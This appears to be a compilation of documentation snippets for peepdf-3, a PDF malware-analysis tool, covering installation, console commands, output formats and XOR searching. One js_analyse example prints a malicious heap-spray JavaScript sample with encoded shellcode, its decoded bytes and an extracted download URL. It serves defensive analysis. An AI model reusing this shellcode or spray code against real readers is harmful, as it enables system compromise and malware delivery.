### Install peepdf-3 from cloned GitHub repository Source: https://github.com/digitalsleuth/peepdf-3/wiki/Installation Clone the repository locally and then install peepdf-3 from the cloned directory. This method allows for local modifications. ```bash python3 -m pip install . ``` -------------------------------- ### Install peepdf-3 from PyPI Source: https://github.com/digitalsleuth/peepdf-3/wiki/Installation Use this command to install the latest stable version of peepdf-3 from the Python Package Index. ```bash python3 -m pip install peepdf-3 ``` -------------------------------- ### Install peepdf-3 from GitHub via pip Source: https://github.com/digitalsleuth/peepdf-3/wiki/Installation Install peepdf-3 directly from its GitHub repository using pip. This is useful for getting the latest development version. ```bash python3 -m pip install git+https://github.com/digitalsleuth/peepdf-3.git ``` -------------------------------- ### Install libemu and pylibemu on Linux Source: https://github.com/digitalsleuth/peepdf-3/wiki/Installation Follow these steps to install libemu and pylibemu on a Linux system, which are required for shellcode evaluation using the 'sctest' function. ```bash git clone https://github.com/buffer/libemu.git cd libemu autoreconf -v -i ./configure --prefix=/opt/libemu sudo make install sudo python3 -m pip install pylibemu ``` -------------------------------- ### Launch Interactive Console with PDF Source: https://github.com/digitalsleuth/peepdf-3/blob/main/USAGE.md Start the interactive console by providing a PDF file as an argument. This displays file metadata and prompts for commands. ```bash $ peepdf -i sample.pdf File: samplesecured_256bitaes_pdf.pdf Title: Microsoft Word - Placeholder Documentation.docx MD5: abd43766905e12704da9411682681f7e SHA1: 8c6dcc4bafb23eac83db37e187ec5155b6ac7e8f SHA256: 15f9cd381e3d87f09c9d3d1a53e23b8d4a57559351de7c7db3d7b8bed7acbe72 Size: 21634 bytes IDs: Version 0: [ ] PDF Format Version: 1.7 Binary: True Linearized: False Encrypted: True (AES 256 bits) Updates: 0 Objects: 10 Streams: 7 URIs: 0 Comments: 0 Errors: 0 Version 0: Catalog: 21 Info: 2 Objects (22): [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 21, 22, 23, 24] Compressed objects (12): [3, 4, 13, 8, 9, 17, 10, 11, 19, 12, 7, 6] Streams (7): [24, 5, 14, 15, 16, 18, 22] Xref streams (1): [24] Object streams (1): [22] Encoded (7): [24, 5, 14, 15, 16, 18, 22] PPDF> ``` -------------------------------- ### Peepdf Command File Example Source: https://github.com/digitalsleuth/peepdf-3/wiki/Usage A sample command file for peepdf script mode, containing commands like 'tree' and 'offsets' to be executed sequentially. ```bash tree\noffsets ``` -------------------------------- ### Launch Interactive Console with PDF Source: https://github.com/digitalsleuth/peepdf-3/wiki/Usage Start the interactive console by providing a PDF file as an argument to the -i command. This loads the PDF and displays its metadata and structure. ```bash $ peepdf -i sample.pdf\n\nFile: samplesecured_256bitaes_pdf.pdf\nTitle: Microsoft Word - Placeholder Documentation.docx\nMD5: abd43766905e12704da9411682681f7e\nSHA1: 8c6dcc4bafb23eac83db37e187ec5155b6ac7e8f\nSHA256: 15f9cd381e3d87f09c9d3d1a53e23b8d4a57559351de7c7db3d7b8bed7acbe72\nSize: 21634 bytes\nIDs: \n\tVersion 0: [ ]\n\nPDF Format Version: 1.7\nBinary: True\nLinearized: False\nEncrypted: True (AES 256 bits)\nUpdates: 0\nObjects: 10\nStreams: 7\nURIs: 0\nComments: 0\nErrors: 0\n\nVersion 0:\n\tCatalog: 21\n\tInfo: 2\n\tObjects (22): [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 21, 22, 23, 24]\n\tCompressed objects (12): [3, 4, 13, 8, 9, 17, 10, 11, 19, 12, 7, 6]\n\tStreams (7): [24, 5, 14, 15, 16, 18, 22]\n\tXref streams (1): [24]\n\tObject streams (1): [22]\n\tEncoded (7): [24, 5, 14, 15, 16, 18, 22]\n\nPPDF> ``` -------------------------------- ### Get Help for Commands Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Displays available commands or detailed usage information for a specific command. This is essential for learning and using the console effectively. ```shell Usage: help [command] Show the available commands or the usage of the specified command ``` -------------------------------- ### XML Analysis Output Example Source: https://github.com/digitalsleuth/peepdf-3/blob/main/USAGE.md This is an example of the XML output generated by Peepdf, providing comprehensive details about the PDF file's structure and potential threats. ```xml 2023-12-30 20:04:44 517fe6ba9417e6c8b4d0a0b3b9c4c9a9 2f7cec0f91a5fd23d706dc53a82b2db7 162e98d89f2ae3b4b469b066ebfe02af22e9b869 576a373ccb9b62c3c934abfe1573a87759a2bfe266477155e0e59f336cc28ab4 2333 Version 0: [ <de4e269db5990d50542c77c1afd6874e> <de4e269db5990d50542c77c1afd6874e> ] 1.4 0 13 3 0 CVE-2018-8414 ``` -------------------------------- ### List All Streams Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Displays all available streams in the PDF file, optionally filtered by version. Useful for getting an overview of stream objects. ```shell PPDF> streams ``` ```shell PPDF> streams 1 ``` -------------------------------- ### Available Commands Without PDF Source: https://github.com/digitalsleuth/peepdf-3/blob/main/USAGE.md Lists commands available when the interactive console is started without a PDF file. Functionality is limited until a PDF is opened. ```bash clear create decode encode exit help js_analyse js_beautify js_eval js_jjdecode js_join js_unescape js_vars log malformed_output open quit replace reset sctest set show vtcheck xor xor_search ``` -------------------------------- ### JavaScript Beautification Example Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands This snippet demonstrates the output of `js_beautify` on a given JavaScript code, showing the formatted and indented version of the original code. ```javascript function yyy() { while (1 > 2); } function datagood(a, b) { if (a > b) { datagood(a, b) } if (b > a) { datagood(a, b) } return a; } ``` -------------------------------- ### Launch Interactive Console Without PDF Source: https://github.com/digitalsleuth/peepdf-3/wiki/Usage Start the interactive console without specifying a PDF file. Some commands will be unavailable until a PDF is opened. ```bash $ peepdf -i\n\nPPDF> ``` -------------------------------- ### Peepdf Offsets Output Source: https://github.com/digitalsleuth/peepdf-3/blob/main/USAGE.md Lists the start and end offsets, size, and type of each object within the PDF file. ```text Start (d) End (d) Size (d) Type and Id --------- --------- --------- -------------------- 00000000 Header 00000015 00000069 00000055 Object 21 00000061 00000397 00000337 Object 16 00000403 00009140 00008738 Object 14 00009144 00009496 00000353 Object 18 00009502 00019119 00009618 Object 15 00019123 00019794 00000672 Object 5 00019800 00020585 00000786 Object 22 00019820 00019895 00000076 Compressed Object 3 00019864 00020046 00000183 Compressed Object 4 00019999 00020047 00000049 Compressed Object 13 00020023 00020271 00000249 Compressed Object 8 00020228 00020447 00000220 Compressed Object 9 00020401 00020638 00000238 Compressed Object 17 00020584 00020891 00000308 Object 2 00020591 00020853 00000263 Compressed Object 10 00020809 00021033 00000225 Compressed Object 11 00020944 00021288 00000345 Object 23 00020986 00021191 00000206 Compressed Object 19 00021141 00021176 00000036 Compressed Object 12 00021154 00021203 00000050 Compressed Object 7 00021179 00021200 00000022 Compressed Object 6 00021309 00021607 00000299 Object 24 00021609 00021626 00000018 Trailer 00021627 EOF ``` -------------------------------- ### Manage Logging Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Controls the logging state. Can show current status, stop logging, or start logging to a specified file. ```python Usage: log Usage: log stop Usage: log log_file ``` -------------------------------- ### VirusTotal Analysis Report Example Source: https://github.com/digitalsleuth/peepdf-3/blob/main/USAGE.md This section displays the detailed analysis report from VirusTotal, including file hashes, detection rates, and specific findings. ```text File: 517fe6ba9417e6c8b4d0a0b3b9c4c9a9 MD5: 2f7cec0f91a5fd23d706dc53a82b2db7 SHA1: 162e98d89f2ae3b4b469b066ebfe02af22e9b869 SHA256: 576a373ccb9b62c3c934abfe1573a87759a2bfe266477155e0e59f336cc28ab4 Size: 2333 bytes IDs: Version 0: [ ] Detection: 40/60 Detection report: https://www.virustotal.com/gui/file/576a373ccb9b62c3c934abfe1573a87759a2bfe266477155e0e59f336cc28ab4 PDF Format Version: 1.4 Binary: True Linearized: False Encrypted: False Updates: 0 Objects: 13 Streams: 3 URIs: 0 Comments: 0 Errors: 0 Version 0: Catalog: 12 Info: 13 Objects (13): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13] Streams (3): [1, 3, 6] Encoded (3): [1, 3, 6] Objects with JS code (2): [3, 12] Suspicious elements (12): /Names (3): [9, 10, 12] /OpenAction (1): [12] /JS (2): [4, 12] /JavaScript (3): [4, 11, 12] .SettingContent (CVE-2018-8414) (1): [3] /EmbeddedFile (1): [1] /EmbeddedFiles (1): [11] ``` -------------------------------- ### View PDF File Structure Offsets Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands The 'offsets' command visualizes the physical structure of the PDF file, showing the start, end, and size of objects for the current or a specified version. ```shell PPDF> offsets Start (d) End (d) Size (d) Type and Id --------- --------- --------- -------------------- 00000000 Header 00000016 00000047 00000032 Object 1 00000049 00000070 00000022 Object 2 00000072 00000120 00000049 Object 3 00000122 00000393 00000272 Object 5 00000395 00000519 00000125 Object 7 00000521 00000744 00000224 Object 9 -- snip -- Version 1: 00079883 00080154 00000272 Object 5 00080156 00080298 00000143 Object 7 00080300 00080487 00000188 Object 36 00080489 00080508 00000020 Object 44 ``` -------------------------------- ### OCR Text Extraction Example Source: https://github.com/digitalsleuth/peepdf-3/blob/main/USAGE.md This is an example of text extracted from a PDF using Peepdf's OCR functionality. ```text I have shared an attachment with you using via Pdf. Sign in ​ here with your email to view complete document . Thanks ``` -------------------------------- ### Create Simple PDF Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Creates a new, simple PDF file. ```shell PPDF> create pdf simple ``` -------------------------------- ### Peepdf Interactive Console Help Source: https://github.com/digitalsleuth/peepdf-3/wiki/Usage Display the list of available commands in the PPDF interactive console by typing 'help'. ```bash PPDF> help\n\nDocumented commands (type help ):\n========================================\nbytes exit js_join open set \nchangelog extract js_unescape quit show \nclear filters js_vars rawobject stream \ncreate hash log rawstream streams \ndecode help malformed_output references tree \ndecrypt info metadata replace vtcheck \nembed js_analyse modify reset xor \nencode js_beautify object save xor_search\nencode_strings js_code objects save_version\nencrypt js_eval ocr sctest \nerrors js_jjdecode offsets search \n ``` -------------------------------- ### Logging Control Source: https://github.com/digitalsleuth/peepdf-3/blob/main/CONSOLE-COMMANDS.md Manages the logging state. Can show current status, stop logging, or start logging to a specified file. ```python Usage: log Show the actual state of logging Usage: log stop Stop logging Usage: log log_file Starts logging in the specified file ``` -------------------------------- ### Peepdf Command-Line Usage Source: https://github.com/digitalsleuth/peepdf-3/wiki/Usage Displays the available command-line arguments and their descriptions. Use this to understand the different options for running peepdf. ```bash usage: peepdf [options] pdf Version: peepdf 3.0.0 positional arguments: pdf PDF File optional arguments: -C COMMANDS, --command COMMANDS Specifies a command from the interactive console to be executed. -c, --check-vt Checks the hash of the PDF file on VirusTotal. -f, --force-mode Sets force parsing mode to ignore errors. -g, --grinch-mode Avoids colorized output. -h, --help show this help message and exit -i, --interactive Sets console mode. -j, --json Shows the document information in JSON format. -k VTAPIKEY, --key VTAPIKEY VirusTotal API Key, used with -c/--check-vt -l, --loose-mode Sets loose parsing mode to catch malformed objects. -m, --manual-analysis Avoids automatic Javascript analysis. Useful with eternal loops like heap spraying. -o, --ocr Extract text from the PDF -s SCRIPTFILE, --load-script SCRIPTFILE Loads the commands stored in the specified file and execute them. -u, --update Fetches updates for the Vulnerability List -v, --version Shows program's version number. -x, --xml Shows the document information in XML format. ``` -------------------------------- ### Peepdf Interactive Console Help Source: https://github.com/digitalsleuth/peepdf-3/blob/main/USAGE.md Display available commands in the interactive console. Type 'help ' for more details on a specific command. ```bash PPDF> help Documented commands (type help ): ======================================== bytes exit js_join open set changelog extract js_unescape quit show clear filters js_vars rawobject stream create hash log rawstream streams decode help malformed_output references tree decrypt info metadata replace vtcheck embed js_analyse modify reset xor encode js_beautify object save xor_search encode_strings js_code objects save_version encrypt js_eval ocr sctest errors js_jjdecode offsets search ``` -------------------------------- ### List All PDF Objects Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Use the 'objects' command to list all available objects, optionally filtered by version. It shows the count of objects for each version. ```shell PPDF> objects Version 0: Objects (40): [1, 2, 3, 5, 7, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43] Version 1: Objects (7): [5, 7, 36, 44, 45, 46, 47] PPDF> objects 1 Version 1: Objects (7): [5, 7, 36, 44, 45, 46, 47] ``` -------------------------------- ### Create PDF with JavaScript Action Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Creates a PDF file with JavaScript code that executes when the file is opened. The JavaScript code can be provided directly or by specifying a JS file. ```shell PPDF> create pdf open_action_js Please, specify the Javascript code you want to include in the file (if the code includes EOL characters use a js_file instead): app.alert("Hello World!!",3); PDF structure created successfully! The Javascript code specified here will be executed when the document is opened. ``` -------------------------------- ### Set and show variables Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands The 'set' command assigns a value to a variable, or displays all variables if no parameters are given. 'show' displays the value of a specific variable. ```bash set [$var_name $var_value] ``` ```bash rawstream 5 $> stream5 ``` ```bash show stream5 ``` ```bash set myHelloVar "Hello World!!" ``` ```bash show myHelloVar ``` -------------------------------- ### Display File Tree Structure Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Shows the dependency tree of objects within the PDF file or a specified version. This command helps visualize the logical structure and relationships between objects. ```shell PPDF> tree ``` -------------------------------- ### xor_search Command Usage Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Demonstrates the different ways to use the xor_search command to find strings within XORed data. Supports searching in streams, raw bytes, files, or variables, with options for case-insensitive searches. ```bash Usage: xor_search [-i] stream|rawstream $object_id [$version] $string_to_search Usage: xor_search [-i] raw $offset $num_bytes $string_to_search Usage: xor_search [-i] file $file_name $string_to_search Usage: xor_search [-i] variable $var_name $string_to_search ``` ```bash PPDF> xor_search stream 2 "template" ``` ```bash Pattern found with the following keys: ['0x0'] Offsets for key '0x0': [407, 466, 607, 624, 684, 825, 843, 903, 1044] ``` ```bash PPDF> xor_search file xored_test "file" ``` ```bash Pattern found with the following keys: ['0x63'] Offsets for key '0x63': [19] ``` ```bash PPDF> xor_search -i file xored_test "file" ``` ```bash Pattern found with the following keys: ['0x43', '0x63'] Offsets for key '0x43': [19] Offsets for key '0x63': [19] ``` -------------------------------- ### Peepdf Command-Line Usage Source: https://github.com/digitalsleuth/peepdf-3/blob/main/USAGE.md Displays the available command-line options for peepdf, including arguments for specifying commands, checking VirusTotal, force/loose modes, interactive console, JSON/XML output, API keys, script loading, updates, and OCR. ```bash usage: peepdf [options] pdf Version: peepdf 3.0.0 positional arguments: pdf PDF File optional arguments: -C COMMANDS, --command COMMANDS Specifies a command from the interactive console to be executed. -c, --check-vt Checks the hash of the PDF file on VirusTotal. -f, --force-mode Sets force parsing mode to ignore errors. -g, --grinch-mode Avoids colorized output. -h, --help show this help message and exit -i, --interactive Sets console mode. -j, --json Shows the document information in JSON format. -k VTAPIKEY, --key VTAPIKEY VirusTotal API Key, used with -c/--check-vt -l, --loose-mode Sets loose parsing mode to catch malformed objects. -m, --manual-analysis Avoids automatic Javascript analysis. Useful with eternal loops like heap spraying. -o, --ocr Extract text from the PDF -s SCRIPTFILE, --load-script SCRIPTFILE Loads the commands stored in the specified file and execute them. -u, --update Fetches updates for the Vulnerability List -v, --version Shows program's version number. -x, --xml Shows the document information in XML format. ``` -------------------------------- ### JavaScript Deobfuscation and Shellcode Analysis Example Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands This snippet shows the output of `js_analyse` on a JavaScript object, displaying the deobfuscated JavaScript code, unescaped bytes, and identified URLs within shellcode. ```javascript var tX1PnUHy = new Array(); function lRUWC(E79yB, NPvAvQ){ while (E79yB.length * 2 < NPvAvQ){ E79yB += E79yB; } E79yB = E79yB.substring(0, NPvAvQ / 2); return E79yB; } function YVYohZTd(bBeUHg){ var NTLv7BP = 0x0c0c0c0c; rpifVgf = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" + "%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64"+"%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787"+"%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3"+"%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"+"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66"+"%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef"+"%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64"+"%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf..." ``` ```hex Unescaped bytes: 43 43 43 43 eb 0f 5b 33 c9 66 b9 80 01 80 33 ef |CCCC..[3.f....3.| 43 e2 fa eb 05 e8 ec ff ff ff 7f 8b 4e df ef ef |C..........N....| ef 64 af e3 64 9f f3 42 64 9f e7 6e 03 ef eb ef |.d..d..Bd..n....| ef 64 03 b9 87 61 a1 e1 03 07 11 ef ef ef 66 aa |.d...a........f.| eb b9 87 77 11 65 e1 07 1f ef ef ef 66 aa e7 b9 |...w.e......f...| 87 ca 5f 10 2d 07 0d ef ef ef 66 aa e3 b9 87 00 |.._.-.....f.....| 21 0f 8f 07 3b ef ef ef 66 aa ff b9 87 2e 96 0a |!...;...f.......| 57 07 29 ef ef ef 66 aa fb af 6f d7 2c 9a 15 66 |W.)...f...o.,..f| aa f7 06 e8 ee ef ef b1 66 9a cb 64 aa eb 85 ee |........f..d....| b6 64 ba f7 b9 07 64 ef ef ef bf 87 d9 f5 c0 9f |.d....d.........| 07 78 ef ef ef 66 aa f3 64 2a 6c 2f bf 66 aa cf |.x...f..d*l/.f..| 87 10 ef ef ef bf 64 aa fb 85 ed b6 64 ba f7 07 |......d.....d...| 8e ef ef ef ec aa cf 28 ef b3 91 c1 8a 28 af eb |.......(.....(..| 97 8a ef ef 10 9a cf 64 aa e3 85 ee b6 64 ba f7 |.......d.....d..| 07 af ef ef ef 85 e8 b7 ec aa cb dc 34 bc bc 10 |............4...| 9a cf bf bc 64 aa f3 85 ea b6 64 ba f7 07 cc ef |....d.....d.....| ef ef 85 ef 10 9a cf 64 aa e7 85 ed b6 64 ba f7 |.......d.....d..| 07 ff ef ef ef 85 10 64 aa ff 85 ee b6 64 ba f7 |.......d.....d..| 07 ef ef ef ef ae b4 bd ec 0e ec 0e ec 0e | ``` ```text URLs in shellcode: http://bikpakoc.cn/nuc/exe.php ``` -------------------------------- ### View File Structure as a Tree Source: https://github.com/digitalsleuth/peepdf-3/blob/main/CONSOLE-COMMANDS.md The 'tree' command visualizes the PDF's object dependencies. Use 'tree [num_version]' to see the structure of a specific version. ```shell Usage: tree [num_version] Shows the tree graph of the file or specified version It's useful to see all the dependencies between objects in a visual way, the output is the logical structure of the document. PPDF> tree /Producer (17) dictionary (2) /Pages (18) /Page (6) stream (9) stream (1) Unknown (0) /Pages (18) /ExtGState (19) /ExtGState (20) /Font (21) /Font (22) /FontDescriptor (23) stream (10) stream (11) /Font (24) /Font (25) /FontDescriptor (26) stream (12) stream (13) /Font (27) /Font (28) /FontDescriptor (29) stream (14) stream (15) stream (7) stream (8) stream (3) /Catalog (4) /Pages (18) /Producer (17) stream (5) stream (16) /FontDescriptor (26) stream (13) /FontDescriptor (29) stream (10) /Font (25) /Font (28) stream (14) /Page (6) /FontDescriptor (23) stream (11) stream (12) stream (15) /Font (22) ``` -------------------------------- ### Get PDF Basic Information as JSON Source: https://github.com/digitalsleuth/peepdf-3/wiki/Usage Use the `-j` flag with peepdf to output the basic analysis of a PDF file in JSON format. This is useful for programmatic access to file details. ```bash $ peepdf -j sampleunsecuredpdf.pdf { "peepdf_analysis": { "advanced": [ { "version_info": { "catalog": "1", "compressed_objects": [], "decoding_error_streams": [], "encoded_streams": [ 16, 18, 14, 15, 5 ], "error_objects": [], "info": "2", "js_objects": [], "objects": [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19 ], "streams": [ 16, 18, 14, 15, 5 ], "suspicious_elements": { "actions": null, "elements": [], "js_vulns": [], "triggers": null, "urls": null }, "version_number": 0, "version_type": "original", "xref_streams": [] } } ], "basic": { "binary": true, "comments": 0, "detection": {}, "encrypted": true, "encryption_algorithms": [], "errors": [], "filename": "sampleunsecuredpdf.pdf", "ids": { "version_0": "[ ]" }, "linearized": true, "md5": "514e921f41157625a3036db0e97b0eba", "num_objects": 19, "num_streams": 5, "pdf_version": "1.3", "sha1": "546bb73b0e26d444a06b30a3e36b22d38184f0e9", "sha256": "5d47ab196e3b05dcf87d4b37aeda45ae362107026844dda9b2a64a6132c76c59", "size": 22057, "updates": 0 }, "date": "2023-12-30 20:07:58", "peepdf_info": { "author": "Jose Miguel Esparza and Corey Forman", "url": "https://github.com/digitalsleuth/peepdf-3", "version": "3.0.0" } } } ``` -------------------------------- ### xor Command for Data Generation Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Illustrates the use of the 'xor' command to generate XORed data from a file with a specified key. This XORed data can then be searched using 'xor_search'. ```bash PPDF> xor file test_file 0x63 > xored_test ``` ```bash PPDF> xor file xored_test 0x43 ``` ```text hI THISISATESTFILE* ``` ```bash PPDF> xor file xored_test 0x63 ``` ```text Hi, this is a test file! ``` -------------------------------- ### Show Changelog Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Displays the changelog for the PDF document or a specific version of it. ```shell PPDF> changelog Changes in version 1: Producer: Acrobat Web Capture 8.0 Modification date: 2009-03-05T21:46:22+08:00 Added objects: [48] Modified objects: [27, 29, 31] ``` -------------------------------- ### Open and Parse PDF File Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands The 'open' command parses the specified PDF file. Use the '-f' option for force parsing or '-l' for loose parsing of problematic files. ```shell Usage: open [-fl] filename Open and parse the specified file Options: -f: Sets force parsing mode to ignore errors -l: Sets loose parsing mode for problematic files ``` -------------------------------- ### Available Commands Without PDF Loaded Source: https://github.com/digitalsleuth/peepdf-3/wiki/Usage Lists commands available in the interactive console when no PDF is loaded. Functionality is limited until a PDF is opened. ```bash clear\ncreate\ndecode\nencode\nexit\nhelp\njs_analyse\njs_beautify\njs_eval\njs_jjdecode\njs_join\njs_unescape\njs_vars\nlog\nmalformed_output\nopen\nquit\nreplace\nreset\nsctest\nset\nshow\nvtcheck\nxor\nxor_search ``` -------------------------------- ### Show Object References Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Lists references within or to a specific object in the document. Use 'in' to see what an object references, and 'to' to see what references an object. ```shell Usage: references to|in object_id [version] Shows the references in the object or to the object in the specified version of the document PPDF> references in 2 ['3 0 R'] PPDF> object 2 << /Kids [ 3 0 R ] /Type /Pages /Count 1 >> PPDF> references to 2 [1, 3] PPDF> object 3 << /Parent 2 0 R /Type /Page /Resources << >> /MediaBox [ 0 0 600 800 ] >> ``` -------------------------------- ### Generate XML Output with Peepdf Source: https://github.com/digitalsleuth/peepdf-3/wiki/Usage Use the -x option to generate a detailed analysis report in XML format. Combine with -fl if needed. The DTD for the XML can be found at the repository root. ```bash $ peepdf -x 517fe6ba9417e6c8b4d0a0b3b9c4c9a9 2023-12-30 20:04:44 517fe6ba9417e6c8b4d0a0b3b9c4c9a9 2f7cec0f91a5fd23d706dc53a82b2db7 162e98d89f2ae3b4b469b066ebfe02af22e9b869 576a373ccb9b62c3c934abfe1573a87759a2bfe266477155e0e59f336cc28ab4 2333 Version 0: [ <de4e269db5990d50542c77c1afd6874e> <de4e269db5990d50542c77c1afd6874e> ] 1.4 0 13 3 0 CVE-2018-8414 ``` -------------------------------- ### Create Object Stream Source: https://github.com/digitalsleuth/peepdf-3/wiki/Console-Commands Creates an object stream by compressing selected objects. It warns that stream objects cannot be compressed, which might lead to corrupted files in some readers. ```shell PPDF> create object_stream Warning: stream objects cannot be compressed. If the Catalog object is compressed could lead to corrupted files for Adobe Reader!! Which objects do you want to compress? (Valid respones: all | 1-5 | 1,2,5,7,8) all [*] Warning: Stream objects cannot be compressed! The object stream has been created successfully ``` -------------------------------- ### Display XML Representation of File Info Source: https://github.com/digitalsleuth/peepdf-3/blob/main/CONSOLE-COMMANDS.md The 'xml' command displays the information for the currently loaded PDF file in XML format. ```shell Usage: xml Shows the info for the currently loaded file in XML format ```